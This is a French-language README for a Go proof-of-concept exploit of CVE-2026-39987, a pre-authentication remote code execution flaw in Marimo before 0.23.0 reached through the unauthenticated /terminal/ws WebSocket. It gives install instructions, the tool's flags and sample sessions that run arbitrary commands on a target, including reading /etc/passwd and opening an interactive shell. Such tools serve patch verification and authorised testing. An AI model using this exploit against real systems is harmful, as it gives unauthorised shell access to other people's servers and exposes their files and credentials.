
Exploite la RCE pré-authentification CVE-2026-39987 dans Marimo <0.23.0 en se connectant au WebSocket /terminal/ws non authentifié. Prend en charge l'exécution arbitraire de commandes, l'entrée par pipe et les sessions shell interactives.
Installation • Utilisation • Exemples
Je teste juste Go :D Au fait : PoC de la CVE-2026-39987 : Marimo<0.23.0 Exécution de code à distance sans authentification via contournement de l'authentification WebSocket du terminal (aucune vérification d'authentification sur /terminal/ws).
Ressources :
go install -v github.com/matesz44/cve-2026-39987/cmd/cve-2026-39987@latest
cve-2026-39987 -h
Ceci affichera l'aide de l'outil. Voici toutes les options qu'il prend en charge.
CVE-2026-39987 PoC: Marimo<0.23.0 Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
- Source: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
Usage:
./cve-2026-39987 [flags]
Flags:
-t, -target string Target WebSocket URL (required, e.g., ws(s)://[TARGET]:([PORT])/terminal/ws)
-c, -cmd string Command to Run (default "uname -a")
-i, -interactive Interactive Mode
Commande par défaut (uname -a) :
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws
REDACTED@REDACTED:~$ uname -a
Linux [...]
REDACTED@REDACTED:~$ exit
exit
[INF:normalclose] websocket: close 1000 (normal): Terminal session ended
Commande personnalisée (-c) :
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws -c "cat /etc/passwd"
REDACTED@REDACTED:~$ cat /etc/passwd
exit
root:x:0:0: [...]
REDACTED@REDACTED:~$ exit
exit
[INF:normalclose] websocket: close 1000 (normal): Terminal session ended
Mode interactif (-i) :
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws -i
REDACTED@REDACTED:~$ id
id
uid=1000(REDACTED) gid=1000(REDACTED) groups=1000(REDACTED)
REDACTED@REDACTED:~$ whoami
whoami
REDACTED
REDACTED@REDACTED:~$ exit
exit
exit
[INF:normalclose] websocket: close 1000 (normal): Terminal session ended
Pipe :
printf "id\nwhoami" | cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws
REDACTED@REDACTED:~$ id
whoami
exit
uid=1000(REDACTED) gid=1000(REDACTED) groups=1000(REDACTED)
REDACTED@REDACTED:~$ whoami
REDACTED
REDACTED@REDACTED:~$ exit
exit
[INF:normalclose] websocket: close 1000 (normal): Terminal session ended